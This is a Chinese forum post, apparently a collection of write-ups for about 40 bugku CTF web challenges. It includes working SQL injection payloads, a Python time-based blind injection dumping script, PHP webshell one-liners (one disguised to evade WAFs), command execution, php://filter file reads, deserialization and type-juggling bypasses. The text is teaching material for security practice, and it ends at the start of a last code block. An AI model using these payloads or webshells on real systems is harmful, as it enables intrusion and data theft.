用户
搜索

该用户从未签到

i春秋作家

道格安全实验室成员

Rank: 7Rank: 7Rank: 7

2

主题

6

帖子

82

魔法币
收听
0
粉丝
1
注册时间
2017-9-25

i春秋签约作者

Passerby2 i春秋作家 道格安全实验室成员 i春秋签约作者 楼主
发表于 2018-6-20 11:38:19 116888
本帖最后由 Passerby2 于 2018-6-20 03:57 编辑

CTF从入门到成仙,40道bugku Write Up,看完还有什么操作搞不定!

本文原创作者:Passerby2,本文属i春秋原创奖励计划,未经许可禁止转载!

前言

之前刷过的bugku,这次把之前的解题思路过程都总结到一起了,差不多有40道吧应该算比较全了。

报错

题目说:访问参数为:?id=x不允许包含“--”,空格,单引号,双引号,“union”关键字,
查询文件中包含“”(双引号)里面的内容,需要查询的文件路径为:/var/test/key_1.php

针对上述过滤,我们可以采用如下办法绕过:

  • 空格:/**/
  • --:用#
  • union: uni%00on
  • 引号:hex编码

下面就可以开心的玩耍了~
爆库:

http://103.238.227.13:10088/id=0x3122/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x3a(select/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1),floor(rand()*2),0x3a,0x3a/**/)name/**/from/**/information_schema.tables/**/group/**/by/**/name)/**/b)/**/#

发现第二个数据库:sql41
Alt text
不过flag并不在这,他让我们查询文件路径。
参考这篇文章总结的12个错方式
floor报错怎么也读不出文件,于是试了一下extractvalue报错:

http://103.238.227.13:10088/?id=0x3122/**/and/**/extractvalue(1,concat(0x5c,(select/**/hex(load_file(0x2f7661722f746573742f6b65795f312e706870)))))/**/#

这里得把load_file()整个函数给hex编码,不然不知道为啥,不出数据
读出flag:
Alt text
不过,这只是其中的一节,我们还得想办法弄到后面的字符,这里采用substr():

http://103.238.227.13:10088/?id=0x3122/**/and/**/extractvalue(1,concat(0x5c,(select/**/concat(0x5c,substr((load_file(0x2f7661722f746573742f6b65795f312e706870)),100,30),0x5c)),0x5c))/**/#

截断几次后可以看到flag:
Alt text

这题真坑啊,要用中文的两个右双引号包裹才能成功交上去...
Flag:”7249f5a7fd1de602b30e6f39aea6193a”

insert into

参考文章:

题示信息:

flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

根据题示信息可以知道:只有插入。没有输出,可以用时间盲注。
时间盲注就是在之后返回的内容相同,没法进行判断的时候;
在mysql数据库中插入sleep()函数,如果()语句能正确执行的话,&&就不会短路,sleep()可以执行,这样响应时间就会增大;而()发生错误没有返回结果时,&&会把sleep()函数短路无法执行;
伪造请求头:
Alt text
X-Forwarded-For: 1' and sleep(5)  and '1' = '1
注意不能用来括号闭合 !!
脚本如下: 当初想的是自动化脱裤...代码有点简陋,需要完善的地方还是挺多的。

# encoding:utf-8
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \
      "then sleep(4) else 1 end) and '1'='1"

# 猜解字母
def get(payload):
    flag = ''
    for i in range(1, max_length):  # i 表示了所要查找的名字的最大长度
        next_position = False
        for char in characters: # 0x80=128 , 0x20=32,  32-128为可显示的字符的区间

            payload_ = payload.format(str(i), char)
            headers = {
                'X-Forwarded-For': payload_
            }
            try:
                r = requests.get(target,headers=headers,timeout=4)
            except requests.exceptions.ReadTimeout:
                flag += char
                print(flag)
                next_position = True
                break
        if not next_position:
            return flag

# 指定数据库,获取其下全部表名
def get_table(database):
    for i in range(0,5):
        print("正在查询数据库" + database + "中的表")
        payload = "'+(select case when (substring((" \
                 "select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
                 "from {0} for 1)='{1}') " \
                 "then sleep(4) else 1 end) and '1'='1"
        table = get(payload)
        print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
        get_col(table)

        if not table:
            print('数据库'+database+'中的表查询完毕')
            break

# 查字段
def get_col(table):
    for i in range(0,5):
        print("正在查询表" + table + "中的字段")
        payload = "'+(select case when (substring((" \
              "select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
              "from {0} for 1)='{1}') " \
              "then sleep(4) else 1 end) and '1'='1"
        column = get(payload)
        print("表" + table + "的第" + str(i+1) + "个字段为" + column )
        # print(column)
        if not column:
            print("表" + table + "中的字段查询完毕")
            break

# # 作为单独的模块使用吧,获取字段详细信息
# def result(column,table):
#     payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \
#       "then sleep(4) else 1 end) and '1'='1"
#     print(get(payload))
# a = 'flag'
# result(a,a)

if __name__ == "__main__":
    database1 = get(cur_database)
    table1 = get_table(database1)

最后使用上面被注释掉的那个模块,
获取flag:flag{cdbf14c9551d5be5612f7bb5d2867853}

sql2

题示信息: hint:全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,%
这题当时我用brup爆破被过滤的字符也注了很久,sqlmap也跑了就是跑不出
Alt text
上面长度370的是都被过滤了的。
后来还是放弃了,去看了下wp,发现还是我太天真了,是.DS_Store源码泄露题。

.DS_Store文件泄露利用简介
DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。
如果开发人员将.DS_Store上传部署到线上环境,可能造成文件目录结构泄露,特别是备份文件、源代码文件

.DS_Store文件泄露利用
这里使用ds_store_exp脚本利用。

python ds_store_exp.py 120.24.86.145:8007/web2/.DS_Store

效果:
Alt text

当然在这之前需要:
使用工具nikto对该网页进行扫描,可以发现/web2/子目录下有.DS_Store文件泄露的漏洞
Alt text

备份是个好习惯

这里推荐一个CTF中常见的源码泄露利用工具,其实就是一个爆破字典
拿到一个index.php.bak
Alt text

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

弱类型数组绕过:

http://120.24.86.145:8002/web16/index.php?kekeyy1[]=0&kkeyey2[]=a

Flag:Bugku{OH_YOU_FIND_MY_MOMY}

求getshell

文件上传题:
初步认定,黑名单+content-type验证,上传.htaccess可以成功但是会被改名
图片马也上了,没地方包含...
感觉题目有点奇怪。。看了wp之后 改的是表单提交的Content-Type: MUltipart/form-data 进行大小写绕过....
Alt text

文件包含2

看源码:文件上传,传了个<?php phpinfo()?> 过滤了<?,但是<没过滤.....
传了个一句话木马

<script language=php>eval($_POST['A'])</script>

菜刀连不上,试试命令执行。

<script language=php>
 system("ls")
</script>

看到flag

<script language=php>
system("cat this_is_th3_F14g_154f65sd4g35f4d6f43.txt")
</script>

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

这是一个神奇的登陆框

burp抓包分析,有回显的盲注,改一下上面那个脚本就行,这里直接导出数据包直接跑sqlmap

SQLmap.py -r "path" -p  admin_name --dbs

Alt text

cookies欺骗

题目地址:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
这样访问进去:显示一行乱七八糟的字母
filename后参数base64解密:keys.txt

这里就得想一
下用这个方法看index.php,base64编码后
http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
这里还有一个lne参数,控制代码行数,用脚本把源码拿出来:

# encoding:utf-8
import requests,re

line = 1
while line < 100:
    url = 'http://120.24.86.145:8002/web11/index.php?line='+str(line) +'&filename=aW5kZXgucGhw'
    s = requests.session()
    responce = s.get(url)
    print(responce.text)
    line = line + 1

源码如下:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

伪造cookie :margin=margin 访问:/web11/index.php?line=&filename=a2V5cy5waHA  其中a2V5cy5waHA 是keys.php base64加密后的
得到flag:<?php $key='KEY{key_keys}'; ?>

flag在index里面

点一点链接,url变成了:

http://120.24.86.145:8005/post/index.php?file=show.php

这样应该就是php,包含了我们get输入的file参数。
问题是他说flag在index.php,我怎么样都读不出。
后来想到文件包含里面可以用PHP的filter来读php文件(不需要allow_url_include):

file=php://filter/read=convert.base64-encode/resource=./index.php

Alt text
base64解密后:

<html>
    <title>Bugku-ctf</title>

<?php
        error_reporting(0);
        if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
        $file=$_GET['file'];
        if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
                echo "Oh no!";
                exit();
        }
        include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

flag{edulcni_elif_lacol_si_siht}

nerver give up

看源码:1p.html
被跳转了,View-source:  看源码

得到:

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

解码后:

var Words ="<script>window.location.href='http://www.bugku.com';</script> ";
if(!$_GET['id'])
{
        header('Location: hello.php?id=1');
        exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))  //不区分大小写的,返回第一个.的位置 这里不能有“.”
{
        echo 'no no no no no no no';
        return ;
}
$data = @file_get_contents($a,'r');  //加上@屏蔽错误信息
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
        require("f4l2a3g.txt");
}
else
{
        print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->

关键的一段需要绕过的地方:

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

eregi有%00截断的漏洞,$data参数在前面配合file_get_contents()函数,我们可以php://input传入:
payload:

hello.php?id=%00&a=php://input&b=%0012345
post_data:bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}

SQL约束攻击

参考: http://www.freebuf.com/articles/web/124537.html
SQL约束攻击:攻击者使用任意身份的登录的漏洞

<?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
          FROM users
          WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) > 0) {
    // User exists, exit gracefully
    .
    .
  }
  else {
    // If not, only then insert a new entry
    $query = "INSERT INTO users(username, password)
              VALUES ('$username','$password')";
    .
    .
  }
}

验证登录信息的页面:

<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
          WHERE username='$username'
              AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) > 0){
      $row = mysql_fetch_assoc($res);
      return $row['username'];
  }
}
return Null;

原理
这里这行select语句:SELECT FROM users WHERE username='vampire     ';
和这句的效果是一样的:SELECT
FROM users WHERE username='vampire';
SQL执行字符串处理时,字符串末尾的空格会被去除。

在insert查询中,SQL会根据varchar(n)来限制字符串的最大长度,也就是说大于n的话就只取前n个字符。

下面如果我们用"admin         1"和随便一个密码 来注册一个号子,对于注册界面的select语句,它并没有查到数据库中有该用户,所以成功绕过,运行到后面的insert语句的时候,只会插入前n个字符,所以当空格足够多的时候,相当于插入了一个"admin   "
接下来到登录的页面,用admin和之前随便输入的密码进行登录的时候,搜索该用户名SELECT查询都将返回第一个数据记录。这样的话就可以使用原始用户身份登录。

防御办法:将名字那列加上UNIQUE约束,使之不能插入另一条记录,检测到两个相同的字符串,并insert查询失败。

flag: SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

Web8

题示信息:txt????

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract($_GET)注册变量
绕过办法:ac=aa&f=php://input
data=aa

后来还知道 访问flag.txt后出现flags (个人觉得,这种方法纯属取巧,很难知道目录下有flag.txt文件的)
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt

其实不难发现,上面几个题都出现了file_get_contents函数,而且都和php伪协议有关,这意味着,以后碰到这个函数可以多往这个方面想想

welcome to bugku

查看源码:

you are not the number of bugku !   

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

既然要用伪协议传入welcome to the bugkuctf,那么就可以用php://filter/convert.base64-encode/resource=hint.php读出hint.php(直接读是读不出来的)

得到:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA== 

base64解码后:

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
                        echo "<br>";
                return ("good");
        }  
    }  
}  
?>  

__tostring:字符操作时触发()。
用这种伪协议读文件的方法的时候:一定要想着多看几个文件,像index.php(robots.txt) 不能漏

http://120.24.86.145:8006/test1/txt=php://input&file=php://filter/convert.base64-encode/resource=index.php&password=123

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
                echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

echo $password 会触发__tostring
所以file参数写包含hint.php,txt还是之前的伪协议不变,password就
用以下脚本传入flag.php,序列化的数据

<?php
class Flag
{
    public $file = 'Flag.php';
    public function __tostring()
    {
        if (isset($this->file)) {
            echo file_get_contents($this->file);
            echo "<br>";
            return ("good");
        }
    }
}
$a = new Flag();
echo serialize($a);
?>

password = O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:

http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
data:welcome to the bugkuctf

拿到flag
flag{php_is_the_best_language}

本地包含

题目源码:

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

使用?hello=file('flag.php')
或者?hello=show_source('flag.php') 等可以读取源码的函数
或者构造var_dump($a) 闭合

成绩单

过滤了--+,
已判断字段4个

id=-2' union select 1,2,3,database() #

查出数据库:skctf_flag

id=-2' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag'  #

查出表:fl4g

id=-2' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'  #

查出字段skctf_flag

id=-2' union select 1,2,skctf_flag,4 from skctf_flag.fl4g #

查出flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

各种绕过

源码:

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

两个不相等的值,但sha1相等:一样用数组绕过即可获得flag

过狗一句话

题示信息:送给大家一个过狗一句话

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
http://120.24.86.145:8010/index.php?s=phpinfo() 执行成功

但是菜刀连不上,估计是限制了权限。
试了n久之后,看了wp
用的print_r(glob('*.php'));读取敏感文件

Array ( [0] => 2.php [1] => 3.php [2] => 4.php [3] => 5.php [4] => a.php [5] => c.php [6] => chaoba1.php [7] => chaoba2.php [8] => ddee.php [9] => f.php [10] => h.php [11] => haha.php [12] => index.php [13] => ll.php [14] => oudeniu.php [15] => phpspy1.php [16] => q.php [17] => t2.php [18] => txxxc.php [19] => x.php [20] => xxoo.php [21] => xxoos.php [22] => zx.php )

尝试:print_r(glob('*.txt'))

Array ( [0] => NewFile.txt [1] => a.txt [2] => flag.txt [3] => testfile.txt ) 

尝试:print_r(file("./flag.txt"))

Array ( [0] => BUGKU{bugku_web_009801_a} ) 

前女友

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

v1和v2比:数组绕过
v3 strcmp()绕过:用数组即可

payload: http://118.89.219.210:49162/?v1[]=123&v2[]=ads&v3[]=123

flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}

秋名山老司机

Alt text
算术题,刷新一次变一次,多刷新几次会发现:
Alt text
让我们把答案在2秒内以value为参数post上去:

# encoding:utf-8
import requests,re

url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
responce = s.get(url)
final = re.findall(r'<div>(.+?)=',responce.text)
result = eval(final[0])
data = {
    "value": str(result)
}
responce2 = s.post(url,data=data)
print(responce2.text)

这里有个坑:一定要开session,不然他会以为你是不同电脑发来的

速度要快

抓到返回headers 里面有base64加密的flag
base64解密后,发现flag部分还有一次base64

# encoding:utf-8
import requests,base64,re

url = 'http://120.24.86.145:8002/web6/'
s = requests.session()
responce = s.get(url)
f = responce.headers['flag']
f = base64.b64decode(f)
print(f)
flag = re.findall(r':(.+?)\'',str(f))[0].strip()

data = {
    'margin': base64.b64decode(flag)
}
print(flag)
responce2 = s.post(url,data=data)
print(responce2.text)

Trim的日记本

一想到这种题肯定考二次,但是扫了一下目录得到show.php,访问就拿到flag了。这个题没找到回显的点,不知道这个题是考察什么...

变量覆盖

源码

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

解法1:

http://120.24.86.145:9009/1.php?shiyan=123&flag=php://input
post_data:123

解法2

http://120.24.86.145:9009/1.php?shiyan=&flag=

flag{bugku-dmsj-p2sm3N}
但是为什么赋1就不相等呢?

http://120.24.86.145:9009/1.php?shiyan=1&flag=1

后来在本地测了一下,因为file_get_contents($flag)始终是包含不到文件的,所以会返回一个空,此时只有当shiyan参数也为空才能相等。
demo:

<?php
$flag='123';
extract($_GET);
if(isset($shiyan))
{
    $content=trim(file_get_contents($flag1));
    if($shiyan==$content)
    {
        echo 'bingo';
        echo '<br>';
        var_dump($flag);
        echo '<br>';
        var_dump($content);
        echo '<br>';
        var_dump($shiyan);
    }
    else
    {
        var_dump($flag.'<br>');
        var_dump($content.'<br>');
        var_dump($shiyan.'<br>');
        echo'Oh.no';
    }
}
?>

strcmp比较字符串

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

数组绕过:

http://120.24.86.145:9009/6.php?a[]=1

Flag: flag{bugku_dmsj_912k}

urldecode二次编码绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "

Access granted!
";
echo "

flag
";
}
?>

因为浏览器解析一次php解析一次,所以要两次编码:

http://120.24.86.145:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

flag{bugku__daimasj-1t2}

数组返回NULL绕过

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

ereg()函数匹配数组的时候会返回null,所以:

http://120.24.86.145:9009/19.php?password[]=1--

flag{ctf-bugku-ad-2131212}

弱类型整数大小比较绕过

题示源码:

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

要求我们传入的password参数不能为数字,且要大于1336。
我们可以在本地测试一下,is_numeric()函数可以被数组绕过,而且该数组可以和数字进行大小比较:

<?php
$temp = $_POST['passer6y'];
if(is_numeric($temp)) {
    echo "is num<br>";
    var_dump($temp);
}
else{
    echo "is not num<br>";
    var_dump($temp);
    if($temp > 10){
        echo "<br>\$temp > 10";
    }
}
?>

Alt text
所以我们可以,构造payload:

http://120.24.86.145:9009/22.php?password[]=asdsadsadasd

得到flag:flag{bugku_null_numeric}

sha()函数比较绕过

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'invalid password';
}
else
echo 'ogin first!';
?>

这个题目要求我们传入name和password参数不相等,但他们的sha1()加密后相等
我们可以本地测试一下如果sha1()函数加密一个数组返回的会是怎样:

<?php
$a = $_POST['passer6y'];
var_dump(sha1($a));
?>

Alt text
会发出一个警告,说sha1()希望参数是string类型,但如果我们传入一个数组类型,返回的是NULL,因此此题我们可以构造payload:

http://120.24.86.145:9009/7.php?name[]=123&password[]=a

得到:flag{bugku--daimasj-a2}

ps:sha1()和md5()处理数组的返回都是Null,所以都可以用数组来绕过

十六进制与数字比较

题示源码:

<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

这个题的意思就是说,不能输入1-9的数字,但是最后结果是要和 '3735929054'相等,
很容易想到用16进制绕过。
payload:

http://120.24.86.145:9009/20.php?password=0xDEADC0DE

ereg正则%00截断

题示源码:

<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo 'You password must be alphanumeri';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('- have not been found');
}
}
else
{
echo ’Invalid password';
}
}
?>

这个题要求我们传入的password变量,绕过ereg()变量,长度小于8且数值大于9999999,还要有"-"符号。
我们可以用%00来绕过ereg()变量,用数组绕过strlen()来限制我们的数字位数,paylaod如下

http://120.24.86.145:9009/5.php?password[]=%00999999999-

get flag:flag{bugku-dm-sj-a12JH8}
我在本地测数组绕过strlen()的长度限制,不论我传入的数组是什么值,都显示长度为5:
Alt text

<?php
$a = $_POST['passer6y'];
var_dump(strlen($a));
?>

strpos数组绕过

题示源码:

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

strpos()函数和ereg()函数一样也具有数组绕过漏洞
paylaod:

http://120.24.86.145:9009/15.php?ctf[]=123asd

数字验证正则绕过

题示源码:

<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

从第7行代码我们可以知道,除了空白字符和制表符外不能超过12个字符,还有第9行那个

echo 'flag';

这个是个字符串flag,真正的flag在26行处。
第15行处,

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr))

要求我们传入的参数中,标点,数字,大写小写字母被匹配的次数大于6。

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break;
if ("42" == $password) echo $flag;

同时要求我们包含这几种类型至少三种以上,且使password参数和42相等
payload:

password=42.00e+0000000000 

flag{Bugku_preg_match}

flag.php

提示信息:点了login咋没反应,提示:hint
这题有毒,提示hint,竟然是以hint为参数,随便传入一个值即可获得源码:


<?php
error_reporting(0);
include_once("flag.php");
